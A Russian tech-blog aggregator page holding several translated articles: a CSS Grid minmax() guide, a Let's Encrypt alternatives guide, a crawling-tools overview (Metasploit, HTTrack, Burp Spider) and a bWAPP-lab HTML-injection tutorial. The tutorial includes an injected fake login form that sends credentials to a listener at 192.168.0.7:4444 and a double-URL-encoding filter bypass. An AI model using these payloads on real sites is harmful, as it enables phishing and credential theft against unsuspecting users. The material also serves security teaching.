Русский
Русский
English
Статистика
Реклама

Разработка веб-сайтов

Перевод Подробности об использовании CSS-функции minmax() в Grid-макетах

29.11.2020 12:04:16 | Автор: admin
Существует множество руководств, в которых рассматриваются общие вопросы работы с CSS Grid, с механизмом, позволяющим создавать сеточные макеты. Я и сам немало об этом писал. Но я обратил внимание на то, что у многих разработчиков возникают сложности с использованием CSS-функции minmax(). Пожалуй, дело тут в том, что большинство существующих публикаций на эту тему либо не вдаются в детали, либо не включают в себя достаточного количества пояснений и примеров из реального мира. А minmax() это очень мощная и полезная функция. Именно по этой причине я и решил написать данную статью. Это нечто вроде полного руководства по minmax(), задача которого дать читателям то, чего не дают им другие публикации на эту тему.



Здесь мы в подробностях обсудим возможности функции minmax() в применении к сеточным макетам, поговорим о том, как, когда и почему ей стоит пользоваться. Тот, кто проработает эту статью, сможет полноценно и со знанием дела применять эту функцию в своих проектах.

Общие вопросы использования minmax() в Grid-макетах


В спецификации CSS о функции minmax(min, max) сказано, что она определяет диапазон размеров, которые больше или равны min и меньше или равны max.

Эту функцию можно использовать в качестве значения, задающего параметры столбцов или строк Grid-макета. Рассмотрим простой пример:

.o-grid {display: grid;grid-template-columns: minmax(200px, 500px) 1fr 1fr;grid-gap: 1rem;}

Вот как это будет выглядеть на схеме.


Результат применения функции minmax() при создании Grid-макета

Проанализируем этот макет:

  1. Здесь имеется сетка с тремя столбцами.
  2. Ширина первого столбца задана как minmax(200px, 500px). Минимальная ширина этого столбца составляет 200px, максимальная 500px.
  3. Два других столбца имеют ширину 1fr. Это означает, что они займут оставшееся свободное пространство.

Продолжим эксперименты с этим примером, учитывая то, что при его создании нужно принимать во внимание внешний вид страницы в областях просмотра разной ширины. Что произойдёт в том случае, если область просмотра окажется очень узкой? Если коротко это описать, то получится, что на экране появится горизонтальная полоса прокрутки. Полагаю, нет такого человека, которому это понравится, за исключением тех случаев, конечно, когда наличие полосы прокрутки предусмотрено дизайнером.


Горизонтальная полоса прокрутки

В результате оказывается, что функция minmax(), сама по себе, не поддерживает создание отзывчивых макетов. А это значит, что поведением страницы приложения на экранах разной ширины нам нужно управлять самостоятельно. Ниже, в разделе практических примеров, мы к этому вернёмся.

Проверка правильности использования функции minmax()


Если значение min, переданное функции minmax(min, max), больше значения max, то значение max будет проигнорировано. В результате в конструкции minmax(min, max) реально использоваться будет лишь минимальное значение.


Если значение min больше значения max значение max игнорируется

Кроме того, важно помнить о том, что значение вроде 1fr нельзя использовать в качестве значения min. Оно может быть использовано только в роли значения max. При этом подобная ситуация хуже, чем та, когда min больше, чем max! Система проигнорирует всю конструкцию, содержащую подобное объявление.


Нельзя использовать 1fr в качестве значения min

Использование нуля в качестве значения min функции minmax()


Что произойдёт в том случае, если попытаться воспользоваться конструкцией вида minmax(0, 500px)? Пожалуй, вы уже знаете ответ на этот вопрос. Ширина столбца будет, как минимум, нулевой, и при этом она не превысит 500px. То есть ширина столбца будет меняться в достаточно широких пределах.


Ширина столбца может изменяться в диапазоне от 0 до 500px

Простой сеточный макет


Представим, что нам надо создать сеточный макет, состоящий из 3 колонок. Мы поступим так:

.o-grid {display: grid;grid-template-columns: minmax(200px, 1fr) minmax(200px, 1fr) minmax(200px, 1fr);grid-gap: 1rem;}

Колонки будут иметь минимальную ширину в 200px. Вот как они будут выглядеть.


Макет, минимальная ширина столбцов которого равна 200px

Избежать троекратного повторения конструкции minmax(200px, 1fr) можно, воспользовавшись функцией repeat():

.o-grid {display: grid;grid-template-columns: repeat(3, minmax(200px, 1fr));grid-gap: 1rem;}

Вышеприведённые стили вполне работоспособны, но пользоваться подобными конструкциями не рекомендуется. Поговорим о том, почему это так.

Ручное изменение количества столбцов


Если в подобном макете понадобится изменить количество столбцов, то делать это нужно будет вручную, редактируя код. Как по мне, так это не имеет смысла. Технология CSS Grid способна на большее, чем может показаться на первый взгляд.

Проблема появления горизонтальной полосы прокрутки


Вышеописанный приём управления количеством столбцов сеточного макета может привести к появлению горизонтальной полосы прокрутки. Дело в том, что мы жёстко задаём количество столбцов. В результате браузер не может их переупорядочить в том случае, если ширина области просмотра окажется слишком маленькой. В результате и появляется горизонтальная полоса прокрутки.


Горизонтальная полоса прокрутки

Как справиться с этой проблемой? Надо сообщить браузеру о том, что количество столбцов должно быть уменьшено в том случае, если ширины области просмотра недостаточно для вывода всего макета.

При разработке Flexbox-макетов это делается путём добавления свойства flex-wrap: wrap к родительскому элементу макета:

.parent {display: flex;flex-wrap: wrap;}


Flexbox-макет, в котором используется свойство flex-wrap: wrap, и макет, в котором это свойство не используется

При проектировании Grid-макетов для достижения подобного эффекта можно воспользоваться ключевыми словами auto-fill и auto-fit.


Сеточный макет, в котором применяются auto-fit/auto-fill, и макет, в котором эти ключевые слова не применяются

Использование ключевых слов auto-fit и auto-fill


Для того чтобы справиться с проблемой жёсткой настройки количества столбцов сеточного макета, мы можем воспользоваться возможностями ключевых слов auto-fit и auto-fill. При этом надо отметить, что между ними существует довольно-таки тонкое различие.

Так, при использовании auto-fit и при наличии свободного места элементы сетки будут растянуты. А применение auto-fill приводит к тому, что элементы растягиваться не будут. В результате дополнительное свободное пространство окажется незанятым, ширина элементов меняться не будет.


Результаты применения ключевых слов auto-fill и auto-fit

При использовании этих ключевых слов может получиться один и тот же результат. Это зависит от ширины области просмотра страницы. Но при определённой ширине области просмотра различия между ними будут уже вполне заметными.

Вот видеозапись, в которой показано поведение макетов, созданных, соответственно, с использованием auto-fill и auto-fit.


Исследование поведения макетов, созданных с использованием ключевых слов auto-fill и auto-fit

Распределение свободного пространства между столбцами auto-fit-макета


Вот видео, в котором прямоугольник, обведённый пунктирной линией, представляет свободное пространство. Когда, при использовании ключевого слова auto-fit, ширина области просмотра достаточно велика, браузер свернёт это свободное пространство и распределит его ширину между элементами сетки.


Распределение свободного пространства между столбцами auto-fit-макета

Распределение свободного пространства между столбцами auto-fill-макета


Если говорить о применении ключевого слова auto-fill, то тут браузер поступает со свободным пространством иначе. А именно, при увеличении ширины области просмотра ширина элементов не увеличивается. При этом размер свободного пространства (оно, в этом видео, выделено пунктиром) растёт.


Распределение свободного пространства между столбцами auto-fill-макета

Сценарии использования и практические примеры


Карточки, основанные на сеточном макете



Карточки

Полагаю, что функцию minmax() чаще всего используют для оформления карточек, применяя её при создании элемента-контейнера.

.wrapper {display: grid;grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));grid-gap: 1rem;}

Когда я начал изучать технологию Grid, я неуютно чувствовал себя, глядя на свойство grid-template-columns, использованное в этом примере. Тут важно обратить внимание на то, как поведёт себя страница в областях просмотра, ширина которых меньше 250px. Дело в том, что в таких ситуациях на экране появится вертикальная полоса прокрутки.


Появление вертикальной полосы прокрутки в области просмотра, ширина которой меньше 250px

Решить эту проблему можно двумя способами. Первый заключается в использовании медиа-запросов. В основе этого способа лежит идея, в соответствии с которой grid-template-columns устанавливается в 1fr. А когда ширина области просмотра достаточно велика применяется minmax():

.wrapper {display: grid;grid-template-columns: 1fr;grid-gap: 1rem;}@media (min-width: 300px) {.wrapper {grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));}}

Второй подход к решению этой проблемы заключается в использовании CSS-функций сравнения. Это современное решение. Поэтому перед его использованием нужно убедиться в том, что оно поддерживается браузером.

.wrapper {display: grid;grid-template-columns: repeat(auto-fill, minmax(min(100%, 250px), 1fr));grid-gap: 1rem;}

Я использовал тут, в качестве первого значения функции minmax(), функцию сравнения min(). Вот что здесь происходит:

  • Если ширина области просмотра меньше, чем 250px, первым значением, передаваемым minmax(), будет 100% ширины родительского элемента.
  • Если ширина области просмотра будет больше, чем 250px, тогда первым значением minmax() будет 250px.

Тут мы вышли на более удачное решение проблемы и при этом использовали меньший объём CSS-кода. Если вы хотите ближе познакомиться с CSS-функциями сравнения вот мой материал об этом.

Использование единицы измерения ch при настройке элемента-контейнера


Мне кажется интересным пример использования функции minmax() при создании макета, предназначенного для отображения материалов статей. В данном примере содержимое статьи центровано по горизонтали.

.wrapper {display: grid;grid-template-columns: minmax(1rem, 1fr) minmax(auto, 70ch) minmax(1rem, 1fr);grid-gap: 1rem;}

Первый и последний столбцы играют вспомогательную роль, управляя свободным пространством. Нас тут интересует центральный столбец. Обратите внимание на то, что при его настройке использована конструкция вида minmax(auto, 70ch). Это означает, что максимальной шириной данного столбца является ширина, которую занимают 70 символов, выстроенных в одну строку. Это идеальное количество символов на строку, обеспечивающее комфортное чтение текста.


Макет, предназначенный для вывода текста статьи

Этот макет будет хорошо смотреться на экранах разных размеров, в том числе на мобильных устройствах. Дело в том, что ширина первой и последней колонок может уменьшаться вплоть до минимального значения, соответствующего 1rem. Вот как эта страница будет выглядеть на узком экране мобильного устройства.


Статья на экране мобильного устройства

Проблема, возникающая при необдуманном использовании ключевого слова auto-fit


У того, кто впервые узнал о ключевом слове auto-fit, может возникнуть желание использовать его повсюду. Но тут есть одна проблема, которая проявляется тогда, когда содержимое сетки (например количество карточек) меняется, а разработчик не контролирует это содержимое.

.wrapper {display: grid;grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));grid-gap: 1rem;}

Тут описана сетка, используемая для вывода карточек. Когда имеется 4 карточки макет выглядит замечательно. Но если карточка всего одна она растянется на всё свободное пространство.


Проблема необдуманного использования auto-fit

Это никуда не годится. Дело в том, что если у компонента-карточки имеется некое изображение и текст, то изображение будет растянуто так, чтобы оно заняло бы всю ширину карточки. В результате выглядеть такое изображение будет очень плохо. Вот изображение, иллюстрирующее эту проблему.


Вывод карточки с изображением

Полагаю, теперь суть этой проблемы совершенно очевидна. Поэтому предлагаю пользоваться ключевым словом auto-fit ответственно. В описанной ситуации им вполне можно воспользоваться тогда, когда в карточках нет изображений. Если же в карточках имеются изображения пользоваться auto-fit я не рекомендую.

Пользуетесь ли вы CSS-функцией minmax() в Grid-макетах?



Подробнее..

Перевод 5 способов краулинга веб-сайта

23.11.2020 22:21:35 | Автор: admin


Из Википедии веб-краулер или паук бот, который с просматривает всемирную паутину, как правило, с целью индексации. Поисковики и другие веб-сайты используют краулеры для обновления своего содержимого или индексации содержимого других сайтов.


Давайте начнем!!


Metasploit


Вспомогательный поисковый модуль Metasploit представляет собой модульный поисковый робот, который будет использоваться вместе с wmap или автономно.


use auxiliary/crawler/msfcrawlermsf auxiliary(msfcrawler) > set rhosts www.example.commsf auxiliary(msfcrawler) > exploit

Видно, что был запущен сканер, с помощью которого можно найти скрытые файлы на любом веб-сайте, например:


  • about.php
  • jquery contact form
  • html и т. д.

Что невозможно сделать вручную при помощи браузера.



Httrack


HTTrack это бесплатный краулер и автономный браузер с открытым исходным кодом. Он позволяет полностью скачать веб-сайт, рекурсивно строя все каталоги
получая:


  • HTML
  • изображения
  • другие файлы

HTTrack упорядочивает относительную структуру ссылок исходного сайта.


Введем следующую команду внутри терминала


httrack http://tptl.in O /root/Desktop/file

Он сохранит вывод в заданном каталоге /root/Desktop/file



На скриншоте можно увидеть, что Httrack скачал немало информации о веб-сайте, среди которой много:


  • html
  • JavaScript файлов


Black Widow


Представляет собой загрузчик веб-сайтов и офлайн браузер. Обнаруживает и отображает подробную информацию для выбранной пользователем веб-страницы. Понятный интерфейс BlackWidow с логическими вкладками достаточно прост, но обилие скрытых возможностей может удивить даже опытных пользователей. Просто введите желаемый URL и нажмите Go. BlackWidow использует многопоточность для быстрой загрузки всех файлов и проверки ссылок. Для небольших веб-сайтов операция занимает всего несколько минут.


Введем свой URL http://tptl.in в поле адрес и нажмем Go.



Нажимаем кнопку Start, расположенную слева, чтобы начать сканирование URL-адресов, а также выбираем папку для сохранения выходного файла. На скриншоте видно, что просматривался каталог C:\Users\RAJ\Desktop\tptl, чтобы сохранить в нем выходной файл.



В каталоге tptl теперь будут храниться все данные веб-сайта:


  • изображения
  • контент
  • html
  • php
  • JavaScript файлы


Website Ripper Copier


Website Ripper Copier (WRC) это универсальная высокоскоростная программа-загрузчик веб-сайтов. WRC может загружать файлы веб-сайтов на локальный диск для просмотра в автономном режиме, извлекать файлы веб-сайтов определенного размера и типа, такие как:


  • Изображения
  • Видео
  • Аудио

Также WRC может извлекать большое количество файлов в качестве диспетчера загрузки с поддержкой возобновления.


Вдобавок WRC является средством проверки ссылок на сайты, проводником и веб-браузером с вкладками, предотвращающим всплывающие окна. Website Ripper Copier единственный инструмент для загрузки веб-сайтов, который может:


  • возобновлять прерванные загрузки из:
    • HTTP
    • HTTPS
    • FTP-соединений
  • получать доступ к сайтам, которые защищены паролями
  • поддерживать веб-файлы cookie
  • анализировать скрипты
  • обновлять полученные сайты или файлы
  • запускать более пятидесяти потоков извлечения

Скачать его можно здесь.


Выбираем websites for offline browsing.



Вводим URL-адрес веб-сайта как http://tptl.in и нажимаем next.



Указываем путь к каталогу, чтобы сохранить результат, после чего жмём run now.



При открытии выбранного каталога tp, внутри него будут файлы:


  • CSS
  • php
  • html
  • js


Burp Suite Spider


Burp Suite Spider это инструмент для автоматического сканирования веб-приложений, более подробно о котором уже писали на habr. В большинстве случаев желательно отображать приложения вручную, но с помощью Burp Spider данный процесс можно автоматизировать, что упростит работу с очень большими приложениями или при нехватке времени.


На скриншоте видно, что http-запрос был отправлен "пауку" с помощью контекстного меню.



Веб-сайт был добавлен на карту сайта под целевой вкладкой в качестве новой области для веб-сканирования, в результате которого была собрана информация в форме:


  • Php
  • Html
  • Js


image

Подробнее..

Запасной вариант для Lets Encrypt бесплатные автоматические УЦ

24.11.2020 20:17:07 | Автор: admin
Для многих Let's Encrypt стал неотъемлемой частью веб-разработки, а автоматическое обновление сертификата каждые 90 дней рутинной процедурой. Фактически, сейчас это самый популярный удостоверяющий центр в интернете. Это великолепно, но и опасно.

Возникает вопрос: а что, если серверы Let's Encrypt временно перестанут работать? Не хочется думать о возможных причинах сбоя. Но желательно предусмотреть запасной вариант. То есть такой же удобный автоматизированный центр бесплатной сертификации.

К счастью, запасные варианты есть. Как минимум два. Такие же бесплатные автоматизированные УЦ, созданные по образцу Let's Encrypt.

Протокол ACME


Все коммуникации с Let's Encrypt происходят про протоколу ACME (Automated Certificate Management Environment). Это открытый протокол для автоматизации взаимодействия с УЦ. В нём нет ничего специфичного для Let's Encrypt, его поддерживает несколько других УЦ.

Сейчас как раз тот момент, когда всё больше УЦ начинают работать через ACME. Это означает, что практически все наши инструменты, скрипты и процессы для получения сертификатов из Let's Encrypt будут отлично работать и с другими центрами, которые поддерживают ACME.

Чтобы перестроиться на другой УЦ, достаточно просто изменить адрес API в настроенных скриптах с https://acme-v02.api.letsencrypt.org/directory (Let's Encrypt) на https://api.buypass.com/acme/directory (BuyPass, о нём см. ниже) или какой-нибудь другой.

BuyPass


Нам нужен УЦ, который соответствует двум критериям:

  1. поддерживает ACME;
  2. выдаёт бесплатные сертификаты.

Этим критериям соответствует норвежский УЦ под названием BuyPass.

Бесплатная услуга называется BuyPass Go SSL: это автоматическая выдача и продление сертификатов + поддержка ACME. То, что и нужно.

Техническая документация объясняет, как настроить получение и обновление сертификата с помощью Certbot официального клиента от Фонда электронных рубежей для работы с Let's Encrypt или любым другим УЦ, который поддерживает протокол ACME.

Регистрация в УЦ и получение сертификата в BuyPass элементарны, как и в случае Let's Encrypt, здесь никакой разницы.

Регистрация с указанием своего адреса электронной почты для уведомлений ('YOUR_EMAIL') и согласием на условия пользования (--agree-tos):

root@acme:~# certbot register -m 'YOUR_EMAIL' --agree-tos --server 'https://api.buypass.com/acme/directory'

Получение сертификата:

root@acme:~# certbot certonly --webroot -w /var/www/example.com/public_html/ -d example.com -d www.example.com --server 'https://api.buypass.com/acme/directory'

Впоследствии при необходимости используются другие команды Certbot для отзыва сертификата (revoke), продления истёкших сертификатов (renew) и удаления сертификата (delete).

Команду продления рекомендуется поместить в cron и выполнять автоматически, чтобы на всякий случай проверять истёкшие сертификаты. Например, так:

#Cron-job scheduled under root to run every 12th hour at a specified minute (eg. 23, change this to your preference)23 */12 * * * /opt/certbot/certbot-auto renew -n -q >> /var/log/certbot-auto-renewal.log

У BuyPass есть некоторые лимиты на ACME. Основной лимит количество сертификатов на зарегистрированный домен (20 в неделю). Здесь имеется в виду та часть домена, которая куплена у регистратора доменных имён. То есть это лимит на все поддомены в общей сложности. Другой лимит 5 дубликатов в неделю. Это лимит сертификатов на каждый конкретный поддомен. Есть лимиты на ошибки валидации по 5 штук на аккаунт, на хост и в час.

Лимит запросов к конечным точкам new-reg, new-authz и new-cert: 20 в секунду. Лимит запросов к /directory: 40 в секунду.

Максимальное количество авторизаций в процессе (Pending Authorisations): 300 штук.

Вместо Certbot можно использовать другой клиент acme.sh, который тоже изначально настроен на Let's Encrypt, но легко направляется на другой УЦ с поддержкой ACME.

./acme.sh --issue --dns dns_cf -d example.com --server "https://api.buypass.com/acme/directory"

ZeroSSL


Ещё один УЦ, который выдаёт бесплатные 90-дневные сертификаты по протоколу ACME это австрийский ZeroSSL.

В вышеупомянутой программе acme.sh есть поддержка ZeroSSL, так что зарегистрироваться очень просто:

acme.sh --register-account -m foo@bar.com --server zerossl

Далее одна команда для генерации сертификата:

acme.sh --issue --dns dns_cf -d example.com --server zerossl

Лимитов на обращение к API не существует. Есть и другие преимущества: этот УЦ даёт бесплатные сертификаты не только на 90 дней, но и на 1 год, есть панель веб-мониторинга и техподдержка.

Кстати, ZeroSSL генерирует сертификаты даже через веб-интерфейс, в пошаговом режиме с верификацией домена по электронной почте. Но для автоматизации такой способ, конечно, не годится.

Другие серверы ACME


Вот список всех известных серверов ACME. Их пока немного, но число растёт.



Let's Encrypt выдающаяся организация, которая делает отличное дело. Но опасно класть все яйца в одну корзину. Чем больше УЦ работает по протоколу ACME и раздаёт бесплатные сертификаты в автоматическом режиме, тем более разнообразна и надёжна экосистема в целом.

У Let's Encrypt может случиться даунтайм или он может временно приостановить деятельность и тогда на подстраховку придут Buypass и ZeroSSL. Наличие этих запасных вариантов в конечном итоге повышает доверие к самому Let's Encrypt, потому что это теперь не единая точка отказа. А сменить УЦ по ACME дело нескольких секунд.



Специальное предложение удостоверяющего центра GlobalSign


Подробнее..

Перевод Подробное руководство по HTML инъекциям

02.12.2020 10:08:40 | Автор: admin


HTML считается каркасом для каждого веб-приложения, определяющим его структуру. Но порой даже самую продуманную экосистему можно испортить парочкой простых скриптов.


Сегодня мы узнаем, как злоумышленники могут получить доступ к веб-приложению с помощью ошибок в его HTML коде.


Содержание:


  • Что такое HTML?
  • Что такое HTML-инъекция?
  • Угрозы HTML-инъекции
  • HTML-инъекция и XSS
  • Типы инъекций
    • Сохраненный HTML
    • Отраженный HTML
      • GET
      • POST
      • Текущий URL
  • Защита от HTML-инъекции

Что такое HTML?


HTML (HyperText Markup Langauge) это основной строительный блок сети, который определяет формирование веб-страниц в веб-приложении. HTML используется для разработки веб-сайтов, состоящих из гипертекста, чтобы включить текст внутри текста в качестве гиперссылки и комбинации элементов, которые визуально отображаются в браузере.


Что такое элемент?


Элемент это основная структурная единица веб-страницы. Он содержит открывающий и закрывающий теги с текстовым содержимым между ними.



HTML-тег


Тег HTML маркирует фрагменты содержимого, такие как:


  • заголовок
  • абзац
  • форма и т. д.

Это имена элементов, заключенные в угловые скобки, которые бывают двух типов:


  • начальный тег (открывающий тег)
  • конечный тег (закрывающий тег)

Браузеры не отображают эти HTML-теги, но используют их для получения содержимого веб-страницы.


Атрибуты HTML


Атрибуты существуют для того, чтобы добавить в элементы дополнительную информацию. Они находятся внутри начального тега и представлены парами имя/значение, так что за именем атрибута следует знак равенства и значение атрибута.


<a href = "https://alexhost.com"> Надежный и быстрый хостинг для ваших сайтов</a>

Здесь:



Теперь посмотрим на блок-схему элементов HTML и попытаемся ее реализовать для создания простой веб-страницы.



Базовая HTML-страница


Каждая веб-страница в Интернете является файлом HTML. Эти файлы представляют собой не что иное, как простые текстовые файлы с расширением .html, которые сохраняются и запускаются через веб-браузер.


Итак, давайте попробуем создать простую веб-страницу в нашем блокноте и сохранить ее как hack.html:


<html><head><title> Hacking Articles lab</title></head><body bgcolor="pink"><br><center><h2>WELCOME TO <a href=http://hackingarticles.in>HACKING ARTILCES </a></h2><br><p>Author Raj Chandel</p></center></body></html>

  • html корневой элемент каждой HTML-страницы
  • head метаинформацию о документе
  • title заголовок веб-страницы
  • body видимое содержимое страницы с атрибутом bgcolor как розовый.
  • br определяет строку разрыва или следующую строку.
  • h1 большой заголовок.
  • p абзац
  • a тег привязки, который помогает нам установить гиперссылку.

С основными моментами HTML разобрались, а для более подробного изучения можно почитать руководство.


Теперь давайте попробуем найти основные лазейки и узнать, как злоумышленники внедряют произвольные коды HTML в уязвимые веб-страницы.


Что такое HTML-инъекция?


HTML-инъекция является одной из самых простых уязвимостей, благодаря чему получила широкое распространение.


Возникает, когда веб-страница не может:


  • Дезинфицировать вводимые пользователем данные
  • Проверить вывод

Благодаря html-инъекции злоумышленник может внедрять вредоносный HTML-код в приложение через уязвимые поля, чтобы он мог изменять содержимое веб-страницы и даже собирать некоторые конфиденциальные данные.


Давайте рассмотрим, как выполняются такие атаки с использованием HTML-инъекции.


Рассмотрим веб-приложение, которое страдает от уязвимости HTML-инъекции и не проверяет какой-либо конкретный ввод. Обнаружив данную уязвимость, злоумышленник вводит свою вредоносную HTML-форму входа с приманкой, например, Бесплатные билеты в кино, чтобы обманом заставить жертву предоставить свои конфиденциальные учетные данные.


Теперь на пораженной странице пользователи будут видеть приманку Бесплатные билеты в кино, при клике по которой откроется фиктивная форма входа, созданная злоумышленником.



Угрозы HTML-инъекции


Когда поля ввода не дезинфицированы должным образом на веб-странице, тогда это может привести к атакам:


  • с использованием межсайтовых скриптов (XSS)
  • подделки запросов на стороне сервера (SSRF)

HTML-инъекция и XSS


На первый взгляд HTML-инъекция во многом похожа на межсайтовый скриптинг. Однако во время XSS-атаки можно внедрять и выполнять Javascript коды, а при HTML-инъекции приходится обходится только определенными HTML тегами.


Теперь давайте углубимся в различные атаки с использованием HTML-инъекции и рассмотрим необычные способы, с помощью которых мы можем испортить веб-страницы и получить учетные данные жертвы.


Сохраненный HTML


Сохраненный HTML внедренный вредоносный скрипт постоянно сохраняется на сервере веб-приложений, который затем передает его обратно пользователю, когда он посещает внедренную веб-страницу. Однако, когда клиент нажимает на полезную нагрузку, которая отображается как официальная часть веб-сайта, внедренный HTML-код запускается браузером. Наиболее распространенный пример сохраненного HTML это опция комментариев в блогах, которая позволяет любому пользователю вводить свой отзыв в форме комментариев для администратора или других пользователей. Давайте теперь попробуем использовать эту сохраненную уязвимость HTML и получить некоторые учетные данные.


Использование сохраненного HTML


Для манипуляция с HTML-инъекциями нам понадобиться приложение bWAPP, которое идет в комплекте с Kali Linux и другими ОС для белого хакинга.


Я открыл целевой IP-адрес в своем браузере и вошел в bWAPP как bee: bug, далее я установил для параметра Choose Your Bug значение HTML Injection Stored (Blog) и активировал кнопку взлома.


Теперь мы будем перенаправлены на веб-страницу, которая страдает от уязвимости HTML-инъекции, позволяющая пользователю отправить свою запись в блог, как показано на снимке экрана.


Для начала мы создадим обычную запись пользователя, чтобы подтвердить, что введенные данные успешно сохранены в базе данных веб-сервера, которая, таким образом, отображается в Поле ввода.



Теперь давайте попробуем внедрить нашу вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на эту целевую веб-страницу и перенаправит захваченный запрос на наш IP-адрес. Введите следующий HTML-код в заданное текстовое поле, чтобы настроить HTML-атаку.


<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid credenitals:<br><form name="login" action="http://personeltest.ru/away/192.168.0.7:4444/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form>


На изображении ниже видно, что при нажатии кнопки Submit появляется новая форма входа, которая теперь находится на веб-сервере приложения и будет отображаться всякий раз при посещении пользователями данной страницы.



Давайте теперь запустим прослушиватель netcat через порт 4444, чтобы перехватывать запросы жертв.


nc lvp 4444

Теперь нужно подождать, пока жертва не загрузит данную страницу в своем браузере и не введет свои учетные данные.



На изображении выше видим, что пользователь Raj открыл веб-страницу и попытался войти в учетную запись с помощью пароля 123. Теперь вернемся к нашему прослушивателю и проверем перехваченные им данные.



На изображении видно, что мы успешно получили учетные данные.


Отраженный HTML


Отраженный HTML возникает, когда веб-приложение немедленно отвечает на введенные пользователем данные, не проверяя их. Это может привести к тому, что злоумышленник внедрит исполняемый код браузера в один ответ HTML.


Вредоносный скрипт не сохраняется на веб-сервере, поэтому злоумышленнику необходимо отправить вредоносную ссылку через фишинг, чтобы поймать пользователя.


Отраженную уязвимость HTML можно легко обнаружить в поисковых системах веб-сайта, так как злоумышленник использует текстовое поле поиска для ввода произвольного HTML-кода. Если веб-сайт уязвим, тогда страница результатов будет возвращена в ответ на эти HTML-объекты.


Отраженный HTML бывает трех типов:


  • Отраженный HTML GET. Запрашивает данные из определенного источника.
  • Отраженный HTML POST. Оправляет данные на сервер для создания/обновления ресурса.
  • Отраженный HTML Текущий URL.

Отраженный HTML GET


Мы создали веб-страницу, на которой пользователи могут оставлять отзывы со своим именем.
Когда пользователь Raj Chandel отправляет свой отзыв как Good, появляется сообщение Thanks to Raj Chandel for your valuable time.



Этот мгновенный ответ и пара имя/значение в URL-адресе показывают, что эта страница может быть уязвима для HTML-инъекции.


Давайте теперь попробуем ввести несколько HTML-кодов в эту форму и проверим уязвима страница или нет.


<h1>Raj Chandel</h1>

Установите "Отзыв" на "Good".


На изображении ниже видно, что имя пользователя Raj Chandel было изменено в качестве заголовка.



Почему это произошло? Давайте посмотрим на следующий фрагмент кода.



Разработчик не настроил никакой проверки ввода, поэтому сайт просто повторя сообщение с благодарностью, к которому добавлялось имя с помощью переменной $ _GET.


Бывают случаи, когда разработчик настраивает некоторые проверки в полях ввода, которые отображают HTML-код обратно на экран без его визуализации.


На изображении видно, что при попытке выполнить HTML-код в поле имени он отбрасывается обратно в виде обычного текста.



Значит ли это, что уязвимость здесь залатана?


Давайте проверим все это, перехватив его исходящий запрос с помощью burp suite, а затем отправим захваченный запрос прямо на вкладку Repeater.



На вкладке Repeater, при нажатии кнопки Go мы видим, что HTML объекты были здесь декодированы:



Копируем весь HTML-код:


<a href = http://hackingarticles.inhibited> <h2> Raj </h2> </a>

Вставляем его во вкладку Decoder, нажимаем Encode as и выбираем URL-адрес.
Когда мы получим закодированный вывод, то снова установим его в Encode as для URL, чтобы получить его как в формате двойного URL-кодирования.



Теперь скопируем полный URL с двойной кодировкой и вставим его в поле name = на вкладке Repeater в параметре Request. Нажмите кнопку GO, чтобы проверить сгенерированный ответ.


Отлично!!! На изображении видно, что ответ успешно обработан.



Теперь остается просто внести аналогичные изменения во вкладку Proxy и нажать кнопку Forward. На изображении видно, что мы испортили данную веб-страницу, используя ее проверенные поля.



Давайте посмотрим на фрагмент кода, чтобы увидеть, где разработчик выполнил проверку ввода.


На изображении ниже видно, что здесь разработчик сделал функцию hack для переменных данных. Он даже декодировал < и > для $data и $input, далее он использовал встроенную PHP-функцию urldecode over для $input для декодирования URL.



На изображении ниже видно, что разработчик реализовал функцию hack в поле имени.



Отраженный HTML POST


Как и в случае с веб-страницей GET, здесь также уязвимы поля Имя и Отзыв.
Поскольку реализован метод POST, то данные формы не будут отображаться в URL-адресе.
Опять попробуем изменить страницу, но в этот раз добавим изображение вместо статического текста.


<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

На изображении ниже видно, что логотип Ignite technologies был размещен перед экраном, поэтому злоумышленник может даже внедрить другие медиа-форматы, такие как:


  • Видео
  • Аудио
  • Гифки


Отраженный HTML Текущий URL


Может ли веб-приложение быть уязвимым для HTML-инъекции без полей ввода на веб-странице? Да, необязательно иметь поля ввода, такие как:


  • Поле комментариев
  • Поле поиска
  • Другие поля

Некоторые приложения отображают ваш URL-адрес на своих веб-страницах, который HTML-инъекция использует вместо поля ввода.



На изображении выше вы можете видеть, что текущий URL-адрес отображается на веб-странице как http://192.168.0.16/hack/html_URL.php. Воспользуемся этим преимуществом и посмотрим, что мы можем сграбить.


Настройте свой burp suite и захватите текущий HTTP-запрос.



Теперь обработаем этот запрос с помощью:


/hack/html_URL.php/<h1>Hey_are_you_there?</h1> 

Нажмите кнопку Forward, чтобы проверить результат в браузере.



Отлично!!! На изображении ниже видно, что мы успешно испортили веб-сайт, просто вставив желаемый HTML-код в URL-адрес веб-приложения.



Здесь разработчик использовал глобальную переменную PHP как $ _SERVER для захвата URL-адреса текущей страницы. Кроме того, он изменил имя хоста на HTTP_HOST и запрошенное местоположение ресурса на URL-адрес с REQUEST_URI и поместил все это в переменную $url.



Перейдя в раздел HTML, он просто установил echo с переменной $ url без какой-либо конкретной проверки, чтобы отобразить сообщение с URL-адресом.



Защита от HTML-инъекции


  • Установка HTML-скрипта, который будет фильтровать метасимволы из пользовательского ввода.
  • Реализация функции для проверки вводимых пользователем данных, чтобы они не содержали каких-либо конкретных тегов, которые могут привести к виртуальным искажениям.

image

Подробнее..

Дайджест свежих материалов из мира фронтенда за последнюю неделю 442 (16 22 ноября 2020)

23.11.2020 02:14:32 | Автор: admin
Предлагаем вашему вниманию подборку с ссылками на новые материалы из области фронтенда и около него.


Медиа|Веб-разработка|CSS|JavaScript|Браузеры


Медиа


podcast Новости 512 от CSSSR: Angular 11, .NET 5.0, security-релизы, Container Query в Chrome, Bloomberg переходит на TS, werf.io
podcast Подкаст Сделайте мне красиво 50 Все дороги ведут к букингу
podcast Подкаст Фронтенд Юность #164: Мужицкий тест-suite

Веб-разработка


habr Современный стартовый HTML-шаблон
habr Фронтенд-разработчику: 10 направлений, в которых стоит развиваться в 2021 году
habr Осциллограф в браузере
en Стандартизация <select> и не только: прошлое, настоящее и будущее нативных элементов форм
